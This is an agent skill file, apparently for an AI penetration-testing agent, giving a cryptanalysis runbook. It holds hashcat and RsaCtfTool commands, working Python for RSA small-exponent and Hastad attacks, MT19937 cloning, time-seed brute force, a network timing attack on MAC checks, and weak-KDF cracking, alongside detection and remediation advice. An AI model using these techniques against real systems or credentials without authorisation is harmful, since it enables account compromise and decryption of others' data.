AGENT SKILL

crypto-decode-and-rsa

Offline cryptanalysis and attack runbook — cipher/hash identification via Ciphey/Ares, hash ID and cracking (hashcat mode table), classical cipher quick-checks, CyberChef recipe chains, token/blob unfolding, RSA parameter attacks (RsaCtfTool, small-exponent, Hastad broadcast, Bleichenbacher PKCS1v1.5, Coppersmith partial-key), weak PRNG exploitation (MT19937 state recovery, time-seeded brute-force), timing side-channels against MAC comparison, AES-GCM nonce reuse, and KDF weaknesses (low-iteration PBKDF2, missing salt). All techniques run manually via bash — no MCP crypto adapter yet.

License 许可
Apache-2.0
所属仓库
Akapi895/raptix
最近更新
2026-11-06
Stars
★ 0
Forks
0

01 前言 Front Matter

name
crypto-decode-and-rsa
metadata
{ "subdomain": "cryptanalysis", "when_to_use": "cipher decrypt decode base64 hex caesar rot vigenere xor unknown encoding identify ciphey ares hashid hashcat rsa RsaCtfTool small exponent hastad bleichenbacher coppersmith PRNG MT19937 mersenne time seed timing attack AES-GCM nonce reuse PBKDF2 weak KDF", "mitre_attack": "T1140, T1110", "runtime_note": "Manual runbook — no MCP crypto adapter. Run Ciphey/Ares/hashcat/RsaCtfTool/openssl via bash tool. Hashcat and john available in Kali sandbox; Ciphey/Ares/RsaCtfTool may need pip/cargo install on first use.", "upstream_url": "https://github.com/bee-san/Ciphey + https://github.com/Ciphey/Ares + https://github.com/RsaCtfTool/RsaCtfTool" }
description
Offline cryptanalysis and attack runbook — cipher/hash identification via Ciphey/Ares, hash ID and cracking (hashcat mode table), classical cipher quick-checks, CyberChef recipe chains, token/blob unfolding, RSA parameter attacks (RsaCtfTool, small-exponent, Hastad broadcast, Bleichenbacher PKCS1v1.5, Coppersmith partial-key), weak PRNG exploitation (MT19937 state recovery, time-seeded brute-force), timing side-channels against MAC comparison, AES-GCM nonce reuse, and KDF weaknesses (low-iteration PBKDF2, missing salt). All techniques run manually via bash — no MCP crypto adapter yet.
allowed-tools
Bash Read Write

03 SKILL.md 正文

Crypto Decode & Implementation Attacks

When you have unknown ciphertext (CTF flag, leaked DB field, captured token, encoded payload), identification comes first — the right tool depends on the cipher class. For implementation flaws, you are attacking the way developers misuse primitives (parameters, padding, randomness, comparison) — not the primitives themselves. Ciphey/Ares cover the decode side; RsaCtfTool, PRNG recovery, timing analysis, and KDF checks cover the attack side.

Quick Workflow

  1. Identify first — never attack before fingerprinting. Ciphey/Ares for unknown text, hashid/hash-identifier for hashes, format-specific checks for tokens.
  2. Classify the target — ciphertext length, block alignment, encoding layer, structure (JSON, JWT, proto3, msgpack) narrow the attack class.
  3. Pick the attack lane:
    • Decode/unknown → Part A (Ciphey, CyberChef, manual unwind)
    • RSA parameter weakness → Part B (RsaCtfTool)
    • PRNG / timing / nonce / KDF → Part C
    • CBC/ECB/JWT → web-crypto-attacks.md (has the oracle harness)
  4. Bound every loop — hard iteration budgets, timeout, -u for line-buffered stdout. Crypto attacks that run unbounded either never finish or burn the sandbox.
  5. Document the decoded value in findings with severity per the table below.

Part A — Identification & Decoding

1. Identify FIRST

1.1 Unknown text → automated cracker

# Ciphey — original (Python, slowed maintenance)
ciphey -t "$CIPHERTEXT"

# Ares — Rust rewrite (faster, current)
ares -t "$CIPHERTEXT"

A*-search across 16+ decoders (base64, base85, hex, Caesar, ROT-N, Atbash, Vigenere, XOR-known-plaintext, URL encoding, binary, morse, brainfuck, esolang, leetspeak, etc.) + BERT plaintext detector to know when to stop.

1.2 Hash → identify type

hashid -m '$2a$12$....'             # bcrypt 12 rounds
hashid -m '5f4dcc3b5aa765d61d8327deb882cf99'  # MD5
hash-identifier

1.3 Specific format checks

# JWT
echo $TOKEN | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null

# Hex → bytes
echo "$HEX" | xxd -r -p

# Base64 → bytes (handle URL-safe)
echo "$B64" | tr '_-' '/+' | base64 -d 2>/dev/null

# Multi-encoded (unwind layers)
echo "$BLOB" | base64 -d | base64 -d | xxd -r -p

2. Classical cipher quick-checks

Cipher Signature
Base64 [A-Za-z0-9+/=]+, len multiple of 4
Base32 [A-Z2-7=]+
Hex [0-9a-fA-F]+, even length
Caesar/ROT only A-Z + spaces, freq-attack ready
Vigenere A-Z, multiple-of-key-length repeating bigrams
Substitution A-Z, IC ≈ 0.066 (English)
Vernam/OTP random-looking bytes, no statistical signal
XOR fixed-key bytes w/ printable XOR'd against pattern (file headers leak)
Hill small block size, matrix-based

3. CyberChef recipe library

CyberChef (gchq.github.io/CyberChef) is the GUI workhorse but recipes can be exported as JSON and chained programmatically:

# Common chains
"From Base64 / Magic / To Hex"
"From Hex / XOR (Brute) / Magic"
"AES Decrypt(KEY) / From Hex / Strings"

CLI version: cyberchef-cli (community port).

4. Hash cracking quick-ref

Mode Hash type
0 MD5
100 SHA-1
1400 SHA-256
1700 SHA-512
1000 NTLM
13100 Kerberos TGS-REP (etype 23)
19700 Kerberos TGS-REP (etype 18)
18200 Kerberos AS-REP
16500 JWT (HS256)
3200 bcrypt
7400 sha256crypt $5$
1800 sha512crypt $6$
22000 WPA-EAPOL+PMKID
7100 macOS v10.8+ (PBKDF2-SHA512)
8200 1Password Cloud Keychain
hashcat -m <mode> hashes.txt rockyou.txt -r best64.rule
john --format=<format> hashes.txt --wordlist=rockyou.txt

5. Token / blob unfolding workflow

For a mystery token captured in HTTP traffic:

1. ciphey/ares → reveal base layer
2. If structured (JSON / proto3 / msgpack) → parse
3. If still encoded → repeat step 1
4. Look for HMAC / signature suffix → identify symmetric key candidates
5. If symmetric encryption suspected → try AES-CBC/GCM w/ common keys
   (app-name, "secret", env vars exposed elsewhere)

Part B — RSA Attacks

RSA implementations fail in predictable ways. Target the mathematical parameters before attacking the padding scheme.

Use RsaCtfTool for automated RSA analysis:

# Attack a public key directly
RsaCtfTool --publickey pubkey.pem --private

# Decrypt a ciphertext with a known weak key
RsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin

# Attack multiple keys for common factor (shared prime)
RsaCtfTool --publickey "key1.pem,key2.pem" --private

# Specific attack selection
RsaCtfTool --publickey pubkey.pem --attack wiener
RsaCtfTool --publickey pubkey.pem --attack smallq
RsaCtfTool --publickey pubkey.pem --attack fermat

Exploit small public exponent (e=3) when the plaintext is short enough that m^e < n:

import gmpy2
from gmpy2 import iroot

def small_exponent_attack(ciphertext_int, e, n):
    """When m^e < n, the ciphertext is simply m^e with no modular reduction."""
    plaintext_int, is_perfect = iroot(ciphertext_int, e)
    if is_perfect:
        return int(plaintext_int).to_bytes(
            (int(plaintext_int).bit_length() + 7) // 8, 'big'
        )
    return None

# Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients
def hastad_broadcast(ciphertexts, moduli, e=3):
    """CRT-based recovery when the same message is sent to e recipients."""
    from functools import reduce
    N = reduce(lambda a, b: a * b, moduli)
    result = 0
    for ci, ni in zip(ciphertexts, moduli):
        Ni = N // ni
        _, mi, _ = gmpy2.gcdext(Ni, ni)
        result += ci * Ni * int(mi)
    result = result % N
    plaintext, _ = iroot(result, e)
    return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')

Bleichenbacher's attack targets RSA PKCS#1 v1.5 padding. The oracle is any system that distinguishes between valid and invalid PKCS#1 v1.5 padding after decryption. This includes TLS servers returning different alerts, APIs returning different error codes, and timing differences in error handling. The attack requires approximately 2^20 oracle queries to recover the plaintext.

Coppersmith's method recovers small unknown portions of RSA plaintext or factors when partial information is known. Use SageMath for the lattice computations:

# SageMath: recover high bits of a factor
# If you know the top bits of p, Coppersmith finds the rest
n = <modulus>
p_approx = <known_high_bits_of_p>
P.<x> = PolynomialRing(Zmod(n))
f = p_approx + x
roots = f.small_roots(X=2^64, beta=0.5)  # X bounds the unknown portion
if roots:
    p = p_approx + int(roots[0])
    q = n // p
    print(f"p = {p}")
    print(f"q = {q}")

Part C — PRNG, Timing, GCM, KDF

Weak PRNG Exploitation

Applications that seed random number generators from predictable sources -- timestamps, PIDs, low-entropy pools -- produce predictable outputs.

Recover MT19937 (Mersenne Twister) internal state from 624 consecutive 32-bit outputs:

def untemper(y):
    """Reverse the MT19937 tempering transform."""
    # Reverse: y ^= y >> 18
    y ^= y >> 18
    # Reverse: y ^= (y << 15) & 0xEFC60000
    y ^= (y << 15) & 0xEFC60000
    # Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)
    tmp = y
    for _ in range(7):
        tmp = y ^ ((tmp << 7) & 0x9D2C5680)
    y = tmp
    # Reverse: y ^= y >> 11 (iterative)
    tmp = y
    for _ in range(3):
        tmp = y ^ (tmp >> 11)
    y = tmp
    return y

def clone_mt19937(outputs_624):
    """Clone MT19937 state from exactly 624 observed 32-bit outputs."""
    import random
    mt_state = [untemper(o) for o in outputs_624]
    # Reconstruct the state tuple: (3, tuple(624 ints + index), None)
    state = (3, tuple(mt_state + [624]), None)
    cloned = random.Random()
    cloned.setstate(state)
    return cloned

# Predict all future outputs
cloned_rng = clone_mt19937(observed_outputs)
next_token = cloned_rng.getrandbits(32)

Exploit time-seeded PRNGs by narrowing the seed window:

import random
import time

def brute_force_time_seed(known_output, time_window_start, time_window_end):
    """Recover the seed when random.seed() was called with int(time.time())."""
    for seed in range(int(time_window_start), int(time_window_end)):
        rng = random.Random(seed)
        if rng.getrandbits(32) == known_output:
            return seed
    return None

Timing Side-Channel Attacks

Timing attacks exploit data-dependent execution time in cryptographic comparisons. The classic target is byte-by-byte string comparison of MACs, tokens, or passwords.

import requests
import time
import statistics

def timing_attack_mac(url, known_prefix, charset, samples=20):
    """Recover a MAC byte-by-byte via timing side-channel."""
    best_byte = None
    best_time = 0

    for candidate in charset:
        test_mac = known_prefix + candidate + "\x00" * (32 - len(known_prefix) - 1)
        times = []
        for _ in range(samples):
            start = time.perf_counter_ns()
            requests.get(url, params={"mac": test_mac})
            elapsed = time.perf_counter_ns() - start
            times.append(elapsed)

        median = statistics.median(times)
        if median > best_time:
            best_time = median
            best_byte = candidate

    return known_prefix + best_byte

# Statistical enhancement: use percentile comparison to reduce noise
# Network jitter requires 50-100+ samples per candidate in practice

AES-GCM Nonce Reuse

AES-GCM nonce reuse is catastrophic. Reusing a nonce with the same key allows recovery of the authentication key (GHASH key H) and enables both decryption of XOR'd plaintexts and forgery of authentication tags.

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long

def exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):
    """
    Given two ciphertexts encrypted under the same key and nonce,
    recover the GHASH key H and forge tags for arbitrary messages.
    XOR of ciphertexts yields XOR of plaintexts.
    """
    # Recover plaintext XOR
    xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))

    # Recover GHASH key H from the tag polynomial relationship
    # tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)
    # tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)
    # tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)
    # This yields a polynomial in H over GF(2^128)

    # The polynomial root gives H; use SageMath or a GF(2^128) library
    # for the actual field arithmetic
    print(f"Plaintext XOR: {xor_plaintexts.hex()}")
    print("Solve the GHASH polynomial in GF(2^128) to recover H")
    return xor_plaintexts

Key Derivation Weaknesses

Target password-based key derivation with insufficient work factors:

import hashlib

# Weak KDF: single SHA-256 iteration, no salt
def crack_weak_kdf(target_key_hex, wordlist_path):
    """Crack a key derived via single-pass SHA-256 of a password."""
    target = bytes.fromhex(target_key_hex)
    with open(wordlist_path, 'r') as f:
        for word in f:
            word = word.strip()
            derived = hashlib.sha256(word.encode()).digest()
            if derived == target:
                return word
    return None

# Detect weak PBKDF2 iteration counts
def check_pbkdf2_strength(iterations, algorithm="sha256"):
    """Flag insufficient PBKDF2 parameters per OWASP 2024 guidance."""
    minimums = {
        "sha1": 1_300_000,
        "sha256": 600_000,
        "sha512": 210_000,
    }
    minimum = minimums.get(algorithm, 600_000)
    if iterations < minimum:
        print(f"WEAK: {iterations} iterations of PBKDF2-{algorithm}")
        print(f"Minimum recommended: {minimum}")
        return False
    return True

Planned MCP Tool (not yet implemented)

A structured crypto_decode MCP tool is planned but not yet implemented in the current runtime. Do not attempt to call it — it will not resolve.

Intended interface (for future reference):

# raptix/tools/crypto/decode.py — PLANNED, NOT IMPLEMENTED
def crypto_decode(ciphertext: str, hint: str = None, timeout: int = 30) -> dict:
    """Try ares first (fast), fallback to ciphey, return best decode."""
    ...

Until that lands, run the same logic through bash:

# Direct invocation via bash tool
ares -t "$CIPHERTEXT" --language en 2>/dev/null || ciphey -t "$CIPHERTEXT"

Record the decode result in the engagement knowledge graph via the standard decoded:<hash> → plaintext <result> via <chain> line in your findings file — the auto-ingest pipeline picks it up from there.

Severity

Decoded content Severity
Plaintext password Critical (depends on user role)
API key / private key Critical
Internal hostname / IP Medium
Session token High-Critical
Encryption key Critical

Detection / Defender View

Defenders should monitor for the following indicators of cryptographic attacks:

  • Padding oracle probing: High volumes of requests to the same endpoint with incrementally modified ciphertext parameters. Look for request patterns where a single byte changes across hundreds of sequential requests. Alert on endpoints returning binary pass/fail for encrypted input.
  • ECB detection probing: Requests containing long runs of repeated characters (16+ identical bytes) submitted to encryption endpoints.
  • Hash length extension: URL parameters or cookies containing null bytes (%00) in positions that should be printable text. Message bodies that are longer than expected with padding artifacts.
  • RSA parameter harvesting: Repeated requests for public key endpoints, certificate downloads, or TLS handshake enumeration.
  • Timing attacks: Unusual request patterns with high concurrency to authentication or MAC verification endpoints. Statistical analysis of response time distributions showing stepped patterns.
  • Nonce reuse: Monitor encryption operations for counter resets or nonce collisions. Implement nonce-misuse-resistant AEAD modes (AES-GCM-SIV, XChaCha20-Poly1305) as defense in depth.

Remediation priorities: migrate from CBC to authenticated encryption (AES-GCM, ChaCha20-Poly1305), use HMAC instead of H(secret||message), enforce minimum 2048-bit RSA keys with OAEP padding, use cryptographically secure RNGs (secrets module, /dev/urandom), implement constant-time comparison for all secret values, and enforce OWASP-recommended PBKDF2 iteration counts or migrate to Argon2id.

Engagement Cheatsheet

Identification & decode:

Target Tool First step
Unknown text Ciphey / Ares ares -t "$CT"
Unknown hash hashid / hash-identifier hashid -m '<hash>'
Base64/hex/URL base64 -d, xxd -r -p, python3 -c "import urllib.parse..." Try one layer at a time
Nested encoding CyberChef Magic / Ciphey Unwind iteratively

Crypto attacks:

Target Tool / Technique First Step
Encrypted cookie (CBC) padbuster Modify last byte, observe response difference
Encrypted token (ECB) Custom Python Send repeated blocks, check for repetition
MAC = H(secret+msg) hashpumpy Confirm Merkle-Damgard hash, try extensions
RSA public key RsaCtfTool Extract n and e, check key size and factors
Session token (PRNG) Custom Python Collect 624+ outputs, clone MT state
Auth endpoint Timing script Measure response time per byte position
AES-GCM encrypted API Custom Python / SageMath Detect nonce reuse across captured messages
Password-derived key hashcat / custom script Identify KDF, check iteration count

Ciphertext identification heuristics:

  • Length is multiple of 8 bytes: likely DES/3DES in CBC/ECB.
  • Length is multiple of 16 bytes: likely AES in CBC/ECB.
  • Length is plaintext + 16 bytes (tag): likely AES-GCM.
  • Fixed-length output regardless of input: likely a hash, not encryption.

Cross-references

Key References

Foundational papers:

  • Vaudenay, S. "Security Flaws Induced by CBC Padding." EUROCRYPT 2002.
  • Bleichenbacher, D. "Chosen Ciphertext Attacks Against RSA PKCS#1." CRYPTO 1998.
  • Duong, T. and Rizzo, J. "Practical Padding Oracle Attacks." USENIX WOOT 2010.
  • Coppersmith, D. "Small Solutions to Polynomial Equations, and Low Exponent RSA Vulnerabilities." J. Cryptology, 1997.
  • Joux, A. "Authentication Failures in NIST version of GCM." NIST Comment, 2006.

Standards:

  • CWE-327: Use of a Broken or Risky Cryptographic Algorithm.
  • CWE-328: Use of Weak Hash.
  • CWE-330: Use of Insufficiently Random Values.
  • OWASP Password Storage Cheat Sheet (PBKDF2/Argon2id iteration guidance).

Tooling:

Known exemplars

  • CTF flag formats (90% are base64, hex, or rot-N layers)
  • Mobile reverse engineering: API keys often base64-XORed in strings
  • IoT firmware: AES-CBC w/ hardcoded keys recoverable via Ciphey + ghidra
  • Phishing email obfuscation: nested encoding chains common

04 同仓库更多 Skills